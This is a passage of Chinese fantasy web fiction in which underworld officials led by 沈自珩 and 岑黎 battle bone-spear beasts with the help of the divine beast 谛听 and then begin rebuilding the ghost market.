沈自珩咬住布片一角,将布片缠在手腕上打了结,他吹了声哨召回大风,趁骨矛兽追击大风时,沈自珩提起银枪飞身刺向骨矛兽,银□□破血雾竟发出了一阵嗡鸣!
“吼——”骨矛兽疼痛咆哮,银枪锋利的枪头浅浅地刺进了它的耳窝,竟流下小股暗红色的血液。
骨矛兽甩了甩硕大的头颅,血红的眼睛向他看去,沈自珩见状飞快收回枪,枪尾用力击向地面,他腰腹猛然发力,借着旋身之力凌空倒翻而起,惊险地躲开了骨矛兽的撞击。
沈自珩站在屋檐上看着下方的骨矛兽,这凶兽原来不止会投掷身上的尖刺,竟然还使出了这么原始的攻击方式。
那畜生像是要证明给他看,调转身体往镇妖塔撞去,镇妖塔上的符文亮起,锁在塔内的妖兽被符文再次镇压,纷
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纷痛苦地嚎叫起来,哀嚎声回荡在地府中。
骨矛兽往后退了一些距离,正想再冲撞镇妖塔,沈自珩飞身踏上塔顶,伸出手臂解开了手腕上缠着的布片,与此同时骨矛兽猛地撞向镇妖塔,符文的金光和银色的咒文同时亮起!
就是现在!
沈自珩看着骨矛兽的动作慢了些,再次提□□向它的额前软肉,同时召出大风啄向它的耳窝,骨矛兽明显感到疼痛,怒吼一声竖起身上的尖刺掷了出去。
大风张开翅膀卷起一阵强风,将那些尖刺卷进风涡里。骨矛兽又是一声怒吼,密密麻麻的刺飞射而出,沈自珩飞身跳上一旁的屋脊往旁边避开,但仍被尖刺刺穿了手臂。
“大风!”他的左臂垂着,大股的血顺着指尖往下流淌,大风飞到他身边将叼着的布片递到他面前。
“岑黎?岑黎!”沈自珩摸上心口,调动着体内那股不属于他的灵力,“你还好吗?崔判官呢?可有人前来?”
岑黎坐在地上喘着粗气:“我没事,崔判官去找地藏了,有一些鬼差也赶来了现在就在我旁边,你有办法了吗?”
沈自珩撕下衣角刚想将伤口绑上,下方的骨矛兽竟是直接撞上了他立足的这座房屋。只觉脚下剧烈震动,他还没来得及反应便从崩塌的屋顶直坠下去。
“沈自珩?”岑黎猛地站起身,“沈自珩!沈大人!”
身后的鬼差对岑黎一拱手:“岑大人,等不得了,我们这就去帮沈大人!”
数百名鬼差紧握灵器朝骨矛兽攻去,但还没靠近便被骨矛兽的尖刺中伤。
有鬼差喊着:“刺它面门!它的面门……”
话音未落,那鬼差被骨矛兽踏在脚下成了一滩猩红。
地府已经有数百年没遭遇这样的险境,以往平稳、循规蹈矩的生活竟是让他们忘了这里曾经是十分凶险的地府。
有鬼差吓得躲进旁边的推车里,被骨矛兽连车带人叼起来甩上空中,又重重地摔了下来。
“啊——救救……”
“救命啊——”
“吃人了!救命啊——”一个小鬼差慌不择路地跑向刚刚被骨矛兽踩塌的废墟,一不留神被绊了一跤摔倒在地上。
他撑着地面爬起来,只觉手底的触感十分奇怪。小鬼差低头看去,起初只看到了同他身上一样的官袍,他捏起官袍抖落两下,一双圆滚滚的东西滚到他脚边。
他看清了那东西,使了好大力气才勉强将尖叫压下去,他踉踉跄跄往里跑,废墟中突然竖起一柄银枪。
小鬼差大喜,一定是沈大人!是沈大人的枪!
他刚想喊沈大人,却突然感觉有一股热流涌进了喉咙,他一手摸上自己的脖颈,一手努力往前伸:“喀……”
沈自珩从废墟中爬出来,还没来得及了解眼前的状况就看见面前摇摇欲坠的小鬼差。
他被尖刺扎穿了脖颈。
沈自珩扑过去接住他,小鬼差用最后的力气把自己的灵器塞进他手心,是一柄漆黑色的短剑,他指了指短剑,又指了指沈自珩,慢慢闭上了眼睛。
随着他身体的逐渐消散,被塞进沈自珩手里的短剑变回了最初的形态,是个小小的铃铛。
5. 骨矛兽 二
这小鬼差是沈自珩做督察第一天时随手从街上抓来的,沈自珩记得他当时见了自己十分害怕,想跑却又不敢,自己本想让他分魂守着孟婆店,但见他那么害怕便放他走了。
没想到第二次见面是在血泊中。
这个废墟原本是布庄,沈自珩没当督察前经常来这里问老板买新到的布匹,老板常会端出一盏茶笑他说反正你都穿一身漆黑,有何区别。
他将小鬼差轻轻抱起放在这布庄的角落,又一抬手用枪头划下一片锦帛盖在小鬼差身上。
布庄外接连响起鬼差的惨叫和骨矛兽的怒吼,沈自珩跳上墙头传音出去:“众鬼差隐蔽!听我号令!”
原本盘旋在他身边的大风猛地俯冲向骨矛兽,故技重施用翅膀卷起骨矛兽投掷出的尖刺,它越飞越高,将尖刺集中在风涡中,沈自珩下令:“放!”
大风发出一声啼叫,倏地将尖刺直射向骨矛兽,但大多尖刺被它厚实的皮肉弹了出去,仍是对它无法造成伤害。
沈自珩正想提枪再刺,骨矛兽却突然发出一声与先前的怒吼都不同的凄厉吼声。
他甩出一张符破开血雾,发现那凶兽的眼里扎进了一根尖刺,那尖刺扎得并不深,却让它发出如此惨叫,看来那便是它的薄弱之处了,沈自珩惊喜地喊岑黎:“岑黎,我找到它的弱点了!”
岑黎立刻传讯回来,声音中也是同样的惊喜:“太好了!是什么?它的弱点是什么?”
“它的眼睛!大风将一根尖刺扎进了它的眼睛里!”沈自珩说着却很快冷静下来,他紧盯着骨矛兽的动作,只见它往后退了两步,猛地调转方向狂奔,“但是它很有可能因此发狂……不好,它朝你们那里去了!岑黎!”
骨矛兽沉重的脚步声比沈自珩的惊呼更先传入岑黎的耳朵。
她甚至来不及看清血雾中冲出来的骨矛兽究竟长什么样子,只凭直觉猛地向后仰身,又一蹬墙面翻上屋顶,脚下还没站稳便看见灰白色的尖刺朝她刺来!
她足尖一点,飞身上了更高的屋顶。
“岑黎,你怎么样?”沈自珩又甩出一道符,他的目光跟随着那张符在破开的血雾中搜寻着,在不远处的屋顶上发现了那道银色的身影,“我看见你了,你别动,我现在过去……”
“你别过来!”岑黎打断他,探身看了看骨矛兽的方位后她说,“你别过来,沈大人,我这里位置极好,咒术的效力能发挥到最大。”
沈自珩察觉她的想法:“你想怎么做?”
“我在这里对它施咒,这畜牲能有几个呼吸无法动弹,你让大风再照着刚刚那样来一次。”岑
黎指尖轻动,手掌间聚起一团银光,“但是只有几个呼吸所以要抓紧时间,不管怎么样,先把它弄瞎了才好。”
“好。”沈自珩呼了声哨,大风张开翅膀停在空中偏过头看他,他两指夹着符咒并拢竖在唇边。
“听我的,三,二,一!”
“去!”沈自珩指向骨矛兽,手腕一甩指尖的符咒飞出为大风破开血雾,岑黎站在屋顶上,衣袍上的银色咒文密密麻麻地叠在一起漂浮在空中,比当时奈何桥上更密的咒网笼罩在骨矛兽周身。
她眼看着那只巨鸟像利剑一般刺向骨矛兽,翅膀扇起的风涡将深扎进地里的尖刺都硬生生拔了出来。
好凶悍的鸟。
她正想着,耳边忽然传来一声:“别被它听见,它会生气。”
岑黎惊讶地看向沈自珩的方向,但血雾太重,除了他的银枪发出的幽光,她什么也看不见。
“吼——”岑黎脚下的屋子颤了颤,她急忙趴在屋顶上稳住身形往下望去,大风将尖刺扎进了骨矛兽另一只眼睛里,那凶兽两只眼都流淌下暗红色的血液。
“应当是瞎了。”沈自珩说。
岑黎爬起来拍了拍手上的灰,一叉腰:“这还不瞎那真是没天理了。”
沈自珩沉默半晌:“我不是说它。”
他握紧银枪,手上一用力,将枪身扎进屋顶的碎瓦中,“我看不见了,可能是血雾里有东西,你还好吧?”
说完之后没再听到岑黎的声音,他又喊了两声依旧没有得到回应。
正疑惑着是不是岑黎和他离得远了传讯受阻,他耳边传来清亮的女声,声音中带点恼怒:“沈大人,打完凶兽,你同我回孟婆庄吧,我帮你治眼睛。”
沈自珩的嘴角轻轻一勾。
“笑个屁笑,骨矛兽朝这里跑来了。”岑黎站在他身边,轻轻握住他手臂有些担忧地问,“接下来怎么办?”
“只能看看我当年所学的本事还在不在了。”沈自珩向岑黎的方向微微偏过头,他把一直攥在手里的布片抖开绑在眼睛上,“你自己躲好。”
说完他提枪飞身向骨矛兽刺去,骨矛兽听见银枪的嗡鸣声,竖起身上尖刺朝四面八方投出去。
沈自珩听着尖刺破空的声音灵巧躲闪开,他喊了一声大风,飞在骨矛兽上方的大风发出一声啼叫,沈自珩循着那声音的方向找去,直指前方的枪尖一晃,猛地向下方刺去——
扑哧一声,枪尖堪堪刺进凶兽的皮肉,沈自珩的足尖点在枪尾上:“咱俩都瞎了,很公平吧!”
他拔起枪一跃而起,身形一翻再次将枪尖刺入骨矛兽的背脊。
岑黎站在屋顶上急得转圈:“崔判官怎么还不来啊……地藏呢,谛听来也行啊!”
不远处的沈自珩再次飞到高处,岑黎看准时机飞快布下咒网把骨矛兽罩住,它像是被羞辱了一般,怒吼一声,浑身的刺都炸开,甚至有一些掷得比刚刚更远了。
好机会!岑黎喊着:“就是现在!”
周围一直隐蔽着的鬼差们纷纷冲向骨矛兽,拿着斧子的攻它脚下,拿着剑的攻它面门,骨矛兽的身上也开始流血。
银色咒网始终罩在凶兽上方,但亮光越来越弱,岑黎逐渐觉得体内的灵运转不动,她拿出铃铛摇晃,从自己身上又分了一缕灵力出来往骨矛兽的方向一抛,灵力被分成数条银丝进入了鬼差们的体内。
她瘫坐下来,传讯给崔珏:“崔判官,可请到了地藏?”崔珏那边杳无音讯,她看向
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沈自珩,他的软铠甲已然碎裂,身上墨色的衣袍正往下滴血。
骨矛兽的行动逐渐缓慢,沈自珩听着岑黎的指挥:“它在你左手边,你拿起银枪就可以直刺它面门。”
他轻轻点头,猛地提□□去,本以为能一击毙命,却像是让骨矛兽起了同归于尽的想法!
那凶兽前腿向下一跪往旁边翻滚,巨大的身躯像移动快速的小山,将鬼差们一一碾压刺死,沈自珩被大风叼着衣领往旁躲闪,腰侧从刺尖划过,血液瞬间大股大股地流出。
大风的翅膀也被尖刺扎中,它发出一声尖锐的啼叫,沈自珩毫无防备地从空中直坠而下。
“沈自珩!”岑黎飞身而去,在指尖触碰到他的衣角时她脚下被什么东西垫了一下,两人都摔在软软的东西上,她低头一看只看见一只白色巨兽,那巨兽喉间发出一声低吼,驮着他们飞快闪躲着骨矛兽。
是谛听!
她抱紧沈自珩,两人一同伏在谛听背上,谛听轻巧落地将他们放在旁边,转身面对着骨矛兽又是一声低吼。
“谛听,去吧。”血雾中传来一道极威严的命令,谛听一跃而起撞向骨矛兽,两只巨兽扭打在一起,谛听的白毛很快被血染红。
“我也去。”沈自珩挣扎着站起来,银枪猛地亮起金光,甚至比之前更刺眼,岑黎猜到他是把所有灵力都灌注进去了,她按住他的手臂,“不行,你老实待着,我去。”
“你没有灵器!”他焦急地伸手寻她,眉毛狠狠皱在一起,“我的长枪给你。”
如果他能看见,就会发现此刻他身边的岑黎与以往有所不同,她周身的银纹中逐渐浮出几缕乌色流光,衣摆也像浸入墨汁一样,乌色的图案从衣摆往上爬,她的衣袍很快就与之前截然不同,但岑黎自己根本没注意到。
地藏喊她:“岑黎,伸出手来。”
岑黎伸出手,手中一沉,一柄与人同高的乌色镰刀忽然出现在她掌心,镰刀上浮现着与她身上相同的银纹。
“去吧。”地藏说。
岑黎足下一蹬,与谛听同时扑向骨矛兽——
谛听的尖牙深深刺进骨矛兽的腿,猛一用力竟是将那凶兽的腿骨咬碎了,谛听吐了吐舌头将碎骨吐在地上,它后腿蓄力伏下身子,往前一蹬再次扑向骨矛兽的前腿。
岑黎手持镰刀直冲骨矛兽面门,镰刀尖在凶兽脸上轻轻一划便将它划得皮开肉绽,骨矛兽哀嚎着竖起尖刺,还未投掷出去便又被谛听咬断一条腿。
“谛听太棒了!”岑黎满脸鲜血地闪到骨矛兽身侧,她举起镰刀手起刀落,镰刀从骨矛兽的脖颈直破到后腿,随着一阵恶臭散开,骨矛兽硕大的身躯轰然倒下再也不动了。
乌色镰刀竖起,镰刀尖上的血滴在岑黎的衣袖上,她抬手蹭了蹭,嫌弃地一撇嘴。
“岑黎,快上来!”沈自珩突然大喊着,“快!”
“怎么……诶!”岑黎被谛听拱到半空,又被它宽大的背稳稳接住,她揪着谛听的背毛回头看——
许多只骨矛兽正从远处狂奔而来!
6. 谛听
只见地藏的手掌一翻,地上凭空生出许多带刺藤蔓,那些藤蔓互相纠缠着生长,越长越密,很快就缠困住了跑在最前的几只骨矛兽。
谛听驮着岑黎跃上沈自珩所站的屋顶,它伏下身子将岑黎放下,转头又冲了回去。
“诶!谛听!危险!”岑黎看向地藏,血雾中她只能看见地藏的手掌,“地藏!这么多骨矛兽,谛听会受伤的!我去帮它!”
地藏又一翻手掌,掌心中出现一块黄色锦帛:“你来将这个拿去,用它蒙上沈大人的眼睛。”
岑黎拿过锦帛给沈自珩蒙上,她凑近看了看,肉眼看这就是块布,看不出什么特别的:“怎么样?”
“可以!我可以看见了!”沈自珩伸出手在眼前挥了挥,十分激动地一把握住她的手,“多谢地藏!”
“谛听留在这里助你们,我该回去了。”地藏的声音逐渐远去,血雾中的金光慢慢消散开,“送回来之前记得给它洗个澡。”
谛听吐出嘴里的东西,呜呜叫了两声以表抗议,岑黎站在它旁边,用指尖点了点它的脑袋:“不洗澡不行,会臭的。”
谛听转头看她,甩了甩大脑袋,从鼻子里喷出一口气后又转头扑向旁边的骨矛兽,张大嘴狠狠咬下去,岑黎离着很远都听到了骨头碎裂的声音。
就这么讨厌洗澡啊……
她玩心大起,对谛听说:“那不洗澡了?”
谛听眼睛亮晶晶地看向她,欢快地在原地转了一圈后扭过头对着旁边的骨矛兽一口咬下,岑黎见状又说:“还是洗澡吧?”
谛听松开嘴里的骨矛兽吼了一声,转身朝旁边被藤蔓困住的骨矛兽扑去。
冲在前面的沈自珩每一枪都扎进骨矛兽的眼睛。有几只骨矛兽体型较小,只有最先那只的一半大,沈自珩挑起银枪扎向它们的脖颈,却依然扎不透。
“岑黎,这些幼兽的皮肉也很厚,要小心。”他传讯过去,“但背脊上的尖刺倒是少一些。”
岑黎轻笑一声,挥起镰刀破开骨矛兽的脊背皮肉:“担心你自己吧,我的镰刀可比你的银枪锋利。”
谛听晃了晃尾巴嗷呜一声。
沈自珩咬牙,他的左臂已经完全没有任何知觉,眼皮也越发沉重……倒下之前余光看见一道银色身影奔过来。
“沈自珩!”
怎么又喊我大名啊……
岑黎将衣摆随意打了个结,又将袖子挽上去,对着面前的谛听招手:“过来,听话。”
谛听站在原地晃了晃脑袋,身上的毛脏得看不出原本的颜色,还结成一绺一绺。她拿起梳子走过去:“那只能我过来……别跑!”
谛听反抗地轻吼一声转身就跑,却被人挡住了去路。
“沈大人!”
岑黎拿着梳子跑过来一把摁住要逃的谛听,“你的伤怎么样?崔判官找人给你看过了,过阵子就能好,还好只是扎到皮肉,如果扎进骨头就麻烦了,我看见那上头还有细密的倒刺呢。”
她一边说着一边骑着谛听梳毛,谛听无处可躲,索性往地上一趴放弃挣扎了。
“我的伤好多了,谢谢。”沈自珩挡在谛听面前,看它从原先不愿意被梳毛到现在眯着眼睛十分享受的样子,不禁哑然失笑,“你们神兽都这样吗?”
岑黎手上梳毛的动作停下了,举着梳子问他:“什么样?”
他笑笑,那双狐媚眼睛弯了起来:“心口不一。”
被教训还觉得开心的大概只有你了吧!岑黎在心里暗骂自己,她想了想又觉不对,我又不是神兽。
“谛听,走,我们到河边去。”她揉了揉谛听的耳朵,又抱住它的大脑袋来回上下地晃,谛听乐在其中地摇晃着尾巴,沈自珩慢慢悠悠也跟着他们往河边去了。
骨矛兽经过的地方几乎都成为了一片废墟。
他们往河边走的这一路上还有好些尖刺仍扎在地里没有拔出来,好几个小鬼差围着尖刺无从下手,沈自珩走过去:“放着吧,这些地方不用管了。”
“沈大人,那凶兽长得很吓人吗?”有个小鬼差攥着衣角问。
她是赏善司殿内的鬼差,平时的工作无非就是查看各个鬼的生前善行能够得到多大的奖励,在他们的生死簿上登记好后便引他们去往下一站,她在这里当了三十多年的鬼差,连恶鬼都不曾碰到几个。
她问,“它们以后还会再来吗?”
岑黎在一旁冷不丁地说:“吓人得很,浑身尖刺,能当箭飞出去,扎上了就不容易拔下来。”
她指了指地上的尖刺,“这就是它的尖刺,你们看这是什么做成的?”
鬼差们几乎趴在地上观察那骨刺,过了好一阵才小心翼翼地猜测着:“骨、骨头?”
“是骨头。”沈自珩点头,“骨矛兽喜欢收集各种骨头,还会将骨头的一端磨得很尖锐。”
岑黎一手摸着身旁谛听的毛一边郑重其事地说:“骨矛兽究竟还有没有我们都无从知晓,毕竟起先我们都以为只有一只。”
小鬼差们吓得脸色惨白,比刚死的时候还吓人,就见岑黎拍拍身旁的神兽谛听,安慰着眼前这些说:“但没关系,我们有谛听,它比那些凶兽厉害多了。”
谛听打了个哈欠,有些骄傲地仰起脑袋,露出胸口厚实的毛。
“你们去别处看看有哪些店家需要帮忙的,如有需要重建的店家便上报给阴曹司。”
沈自珩捂着腰侧的伤口缓慢地说着话,大概是站得久了,伤口还是有些疼。
“要不沈大人还是回去歇着吧,给谛听洗澡我一个人就可以。”岑黎看着站在一旁的沈自珩有些担心他会一头栽进河里,这段河里虽然没有怨灵,他也不是亡魂,但是鬼也是会感冒的啊。
“没事,皮肉伤,好得很快。”沈自珩脱了鞋袜,跟着谛听一脚踩进水里,他抬手用袖子挡谛听打滚溅起来的水花,“给它洗完澡之后你将它送回去吧,我便不跟你们一同去了。”
说完这话他被扯着袖子拽得身子一歪,他朝始作俑者看去——谛听正咬着他的袖子呜呜地叫。
岑黎恍然大悟:“我以为你是因为伤口不宜多动才不去,其实你是怕谛听缠着你不让你走吧?”
沈自珩试着从谛听嘴里扯出自己的袖子,但谛听咬着袖子不松口甚至还往后退,一鬼一神兽用衣袖在奈河中玩起了拔河,谛听玩得开心,一使劲把沈自珩
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拽得又是一个踉跄,让他险些脸朝下地栽进河里。
他艰难地站直身体,往谛听脸上泼了一捧水,趁它打喷嚏时拽回了自己的袖子:“谛听生性活泼喜欢玩,但莲花台十分繁忙,它也没什么机会能玩耍,我送功德簿过去时就陪它玩了一会儿……”
“它就缠上你了。”岑黎拿着水瓢一针见血地说。
见沈自珩又要被谛听缠住,她在河里舀了一瓢水,一手叉着腰对谛听说,“谛听,过来洗澡。”
谛听不情不愿地低吼两声,摇晃着尾巴慢吞吞走过去任由着岑黎拿着水瓢往它身上淋水。
奈河水是冰凉的,除了奈河桥下那一段有怨灵,其他河段都十分清澈澄净,也是孟婆汤的原材料之一。
每次重新熬制孟婆汤时,岑黎都会到其他河段拎一大桶奈河水,孟婆汤的味道甚至也与河水有关,用上游的河水熬制出来的孟婆汤苦涩的味道更明显,再往下一些的河水熬出来的孟婆汤则是更偏甘甜。
冰凉的河水淋在谛听身上,原本它被血浸湿打绺的毛被水冲了个干净,血水流进河水里立刻消失,沈自珩看着感叹道:“奈河水真是妙得很。”
“奈河水有净化的作用,还是和昆仑那边签订的契约呢。”岑黎舀起满满一瓢水,又拿着这瓢水去接谛听毛上流下来的血水,只见暗红色的血水滴进水瓢里便立刻消失了。
“你看,它并不像普通河水会将血水稀释,而是直接净化。”
岑黎拍拍谛听的背,“好了,上去吧,洗干净了。”
谛听跑上岸抖了抖身体又去拱岑黎。
岑黎上岸坐在旁边穿好鞋袜,刚站起身就被谛听拱着背往莲花台的方向走,她哭笑不得地跟沈自珩挥手:“我送它回去,你也回去吧!”
沈自珩一点头,背在身后的手摸索着被咬漏的衣袖。
回去换衣服吧……
“你这身衣服挺好看的,平时都穿官袍,看不见你们的新衣服。”崔珏拿着判官笔一边在生死簿上为刚刚的鬼定下阳寿,一边看着殿下穿着青色袍的沈自珩。
“最近半个地府都需要重建,鬼市也需重新规划布置,你的伤还没好,平日的工作就先放一放,去帮忙规划吧。”
沈自珩点头应下:“好。”
“阎罗下了令,这次重建由阴律司负责,除了你,我还会另派几个鬼差去,罚恶司和阴曹司还未派出人手,你去沟通。”崔珏放下判官笔叮嘱他,“你就不要做重活了,先把伤养好。”
“知道了,您放心。”沈自珩转身要走又被崔珏喊住。
“我差点忘了轮回司了,轮回司也还没有消息。”崔珏说,“你去一趟孟婆庄吧。”
“那些孟婆汤先往里面放吧,放这里挡路啊,狗粮也放里面去,地狱犬少了很多,最近没有那么大需求了。”
穿着宽松睡袍的年轻女子背对着店门,指挥鬼差往库房里搬货。
她将披散在肩头的长发随手拢起,拿过一旁的镜子照了照后,便将镜子随意塞进腰带里别着。
沈自珩走进去,听到脚步声那女子回头笑了笑:“沈大人,好久不见。”
他有些惊讶地看去。
7. 鬼市 一
“今日怎么是你来了?”沈自珩问。
女子一手摸上腰间的镜子,一手摸了摸鼻尖,不怎么在意地一挥手:“被勒令上工了呗,偷不了懒了。”
沈自珩眯着眼毫不留情地嘲笑着多年好友:“你早该想到会有这一天。”
他背着手漫不经心地在店里转了一圈,顺手扶了一把差点摔倒的小鬼差,“岑黎呢?她的灵力恢复了吗?”
眼前的女子便是孟婆。
“她在家呢。”孟婆潦草地回他一句便转头往外走,追着那搬着孟婆汤的小鬼差絮絮叨叨,“要小心点啊,孟婆汤换包装了,现在都是玻璃瓶,比原来重了不少,我是真的搬不动,辛苦你们了……”
沈自珩离得远,没听见被孟婆刻意盖住的镜子里发出的声响。
他直觉有些不对劲,但看着店里墙上贴着的排班表又觉得没什么可怀疑的,排班表上写着今天岑黎休息。
“我来是同你说一声,地府要重新修整,鬼市也要重新布置,虽是由我们阴律司负责,但各个殿里还得出几个人手才够,你们孟婆庄也不例外。”
沈自珩走到桥头看了一眼奈何桥上空,转身跟孟婆说,“你尽快决定好人选后上报,三月前鬼市要恢复正常,三月三便要开始营业了。”
孟婆抬手捋了一把头发:“嗯……就让这几个小鬼去吧,够了吧?”
她伸手指了指在店里来回忙活的四五个小鬼差。
“人数是够,你不派一个管事的去吗,我如何能管得了你的手下,你自己不愿去的话……岑黎呢?”地府中无人不知孟婆的懒惰性子,但她的轮回司业绩又一向不错,不说阎罗,便是鬼帝都对她睁一只眼闭一只眼,大概只有一向守规矩的崔珏看她不顺眼。
河里突然传来一阵响动,紧跟着河水也翻腾起来,竟是掀起一层浪来。
孟婆探头一看,怨灵们都探出头蠢蠢欲动,她伸手指着一只想要顺着桥墩爬上桥面的怨灵呵斥着:“滚下去!谁许你上来的!”怨灵像水蛇一样顺着原路滑回河里,在桥墩上留下一行水渍,孟婆随手在河面上甩出一张咒网,“这些怨灵越来越无法无天了……你有什么不好管的,督察大人?”
话说出口后她猛地回头,震惊地看向他:“不会吧,你被降职了?”
沈自珩无语:“还好这些年你管孟婆店管得少。鬼市那边你再派个管事的去,我走了。”
沈自珩过桥往罚恶司走。从前四大判官司建在同一条街上,小鬼们吓得不敢从那条街上过,各司中的鬼差们也相看两生厌,原本就同钟馗关系不好的崔珏更是经常心头堵得慌。
但好在近百年来地府关押了许多凶兽,扩大了整体面积,五方鬼帝便商讨决定各司可自选殿址,不出地府界限即可。
发下通知的第二天,罚恶司便搬离了判官街迁址到了鬼市旁边,迁址当天钟馗乐呵呵地找崔珏道别:“崔兄,有空来找我下棋啊!”
崔珏对钟馗一直看不惯,他觉得钟馗不守规矩,性格莽撞,但同时又欣赏他正直爽快,这样十分别扭,于是他与钟馗能不见就不见,用赏善司魏征的话说便是——打不得骂不得,空受窝囊气。今日钟馗突然来找他,倒让崔珏心生愧疚了。
“好,我有空一定去,你迁好新址要告知我啊。”崔珏递过一套上好的笔砚,“这是乔迁礼。”
钟馗咧着嘴接过随手揣进身上背着的布袋里,声音粗犷:“谢谢啊!崔兄我跟你说,那地方可好了,就在鬼市旁边,方便我巡逻,看见短斤少两的摊主我还能顺手抓了。”
崔珏想了想鬼市的热闹场景,面露难色:“可鬼市平日里十分吵闹,影响休息。”
钟馗大手一挥:“无妨无妨,我喜欢热闹!咱都是鬼了也不缺那点觉了不是!”
罚恶司搬去鬼市旁的第二天便抓了十来个摊贩,短秤的、恐吓鬼游客的、把地狱犬染成黄色欺骗消费者这是田园犬的……
“大人!大人我不敢了大人!您放了我吧,我都下去三回了大人!”
沈自珩在罚恶司门外便听见有人苦苦求饶,他迈步进去,脚刚跨过门槛就听见了钟馗粗哑的声音:“拉下去拉下去,下去三回了也不知悔改,你怕是想生生世世都待在地府罢!”
沈自珩看着鬼差架起那个摊主出了罚恶司:“钟大人,要将那摊主关到哪里去?”
钟馗拿起旁边的茶壶,打开盖子往嘴里灌了两大口:“咳咳……哎沈老弟你来啦,那摊主短秤,被我抓到第四回了还不长记性,我罚他去蹚河了。”他用袖子擦了擦嘴,十分豪迈地一挥手。
桌角放着的铜质烛台无端遭殃,被钟馗厚实的官袍袖子打了个正着,晃了晃便要往一旁倒去,融化的蜡油先一步滴在桌上放着的簿册上,钟馗喊了一声糟了伸手去扶——
早就站在桌子另一侧的沈自珩伸手握住摇摇欲坠的烛台,将它好好地放上烛台架。
令鬼闻风丧胆的钟馗这会儿正拍着心口长舒一口气:“还好有你啊,烛台要是倒了我这簿册又要重写了,多谢你啊沈老弟,你算是救了我啦!”
沈自珩哭笑不得:“又?钟大人,这是您这月重写的第几本簿册了?”
钟馗的黑脸上显出几分不好意思:“第三本……唉,我这月抓的鬼多,忙得我晕头转向,第一本写完了之后我想偷个懒坐船过奈河,簿册从我衣袖里滑出去了;第二本被狗咬坏了,喏你看,在那儿呢,它的狗盆里。”
罚恶司的角落里放着一个木制的小房子,里面铺着鹅绒垫,木屋旁边的一个白瓷狗盆里放着几块碎纸片,大概就是被撕坏的那本簿册。
“兜兜呢?”沈自珩问。
“去隔壁莲花台玩了,莲花台有个新来的养花童特别喜欢兜兜,兜兜也喜欢她,没事就去找她和谛听玩。”钟馗在簿册上唰唰地写着,“对了,你来罚恶司是有事?”
沈自珩坐在椅子上公事公办地交待:“地府要重新翻修建造,鬼市也是,需要重新规划布局,三月三的活动会如期举办,所以在三月前要完成翻修工作,这次是阴
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律司负责,各殿派人手协助,钟大人尽快协调好后告知我吧。”
“哦,行。”钟馗一直站在桌边写簿册,这会儿好不容易写完,小心地将簿册揣在怀里,“派多少人合适?我们这儿人多,你要多少有多少,牛头马面也给你。”
罚恶司殿中间有个水池,水面上时不时泛起波纹,钟馗拿起一旁的水瓢往一个碗里舀水:“一会儿兜兜回来该口渴了。”
“人数……您殿上人多您便多派点吧,牛头马面应当是不用的,他们每日的工作便够忙了。”沈自珩跟着走到水池边,背着手说。
钟馗其实和崔珏的脾气很像,都十分欣赏沈自珩这样讲礼数但也不卑不亢的小辈,有些鬼差十分会讨好,对着钟馗溜须拍马,没两个月就被调走了。钟馗把碗放在狗窝边:“那我殿里给十五个你看够不够?”
这数和沈自珩估计得差距不大,他痛快地点头,眯起那双狐狸眼睛笑道:“够了,多谢钟大人。”
他看了看时间打算告别:“那我便走了,您忙。”
钟馗点点头:“有空来玩啊!”
沈自珩应下,又说:“您那簿册可得放好了,再丢了您得补第四回,要不您直接跟阎罗说每周交一回簿册算了。”他行了礼转身就跑,留钟馗在后面笑骂。
经过鬼市,沈自珩往那方向看去,建筑被骨矛兽损毁后阎罗派鬼差将这里全部清空方便重建,此时这里已经是空空荡荡,了无生气,只有镇妖塔尖上的光幽幽地亮着。
“大风?”他冲着镇妖塔喊了一声,塔尖上的光动了动。
“虽然你已是魂体,来去自由,但你现在也太潇洒了点。”他说,“你身上的伤好了吗?”
大风飞到他面前啼叫一声。他点点头:“没伤口了,恢复得很快啊。”说完他的手臂被大风的脑袋拱了拱,他看看自己的伤,“我的还没好呢,没你厉害。”
还有岑黎,当日她从体内分了灵力给他,后又分给了众多鬼差,孟婆今日说得含糊,他还是赶紧忙完上门去看看……
他叹了口气,伸手摸了一把大风的翅膀便向阴曹司走去,今天将该传达的都传达完,明天就可以开始着手设计规划了,要不了多久便可以开始搭建。
孟婆会让岑黎去吗?
他凭空想象着岑黎监工的样子,大概是一手拎着衣摆一手指着那些偷懒的鬼差,眼睛瞪得圆圆的:“干嘛呢!起来干活!”
他轻轻地笑了一声摇摇头,往阴曹司去。
地府经过骨矛兽一战后被毁得面目全非,真成了人类心中地府的样子,阴沉、腐朽、破败,原本热闹得会被投诉的街现在只剩满地碎砖。
腰侧的伤口又有些疼,沈自珩停下脚步扶着一旁的灯柱,疼痛细细密密地往头顶爬,他咬着牙将呼吸拉长,手微微颤抖着。
真是遭罪,被那尖刺划还不如被利刃划来得痛快。
“沈大人?”
他抬起头,望向声音传来的方向,穿着白裙的女子拎着裙摆朝他跑过来。
8. 鬼市 二
“沈大人?”那女子又喊了他一声。
“狗儿?”沈自珩有些错愕地睁大眼睛,“你……你长这么高了啊。”
如今的狗儿已经长成十几岁的容貌与身形,她提着裙摆小跑过来扶他:“大人,您可是伤口疼了?”
沈自珩摆摆手慢慢直起身,那阵疼痛过去了,他松了口气像个老父亲一样感慨着:“没事,没事,我抽不出空去看你,你都长这么大了!”
狗儿松开手:“没事就好,整个地府都知道你们抵抗骨矛兽的那一战了,听着都惊心动魄,云说这是近百年来地藏第一次借出谛听呢。”
她迫不及待地和沈自珩说着她在莲花台的近况:她有了新名字叫云昭,是云最小的师妹,前几日地藏问她愿不愿意在莲花台中承担一些事务,她开心得不得了,立刻应下了,日后她也算是一名鬼差了……
沈自珩细细听着记下了。
“岑黎姐姐呢?”云昭突然问,想起来自己小时候将她误认成孟婆,有些不好意思地笑笑,“我以前以为站在那桥上的女子就是孟婆了,叫了她那么多声孟婆姐姐,她也不反驳我。”
“无事,她不会在意这些。”沈自珩朝向他打招呼的鬼差点头,“你今日是有事找我?”
云昭摇摇头:“我找岑黎姐姐,地藏让我将这个拿给她。”
“你醒了?感觉怎么样?”孟婆看着沈自珩走远,一直遮掩着放在腰间的手将镜子抽了出来,镜面上浮现出岑黎苍白的脸。
“沈自珩走了?”岑黎坐在沙发上抱着毛毯,鬼的好处在此刻显现出来,人生病了需要吃东西喝水,她却一点都不需要。
她伸手摸了摸自己的肚子,咧开发白又干裂的嘴唇,那要笑不笑的表情连真鬼看着都慎得慌,“这回我真的要瘦了。”
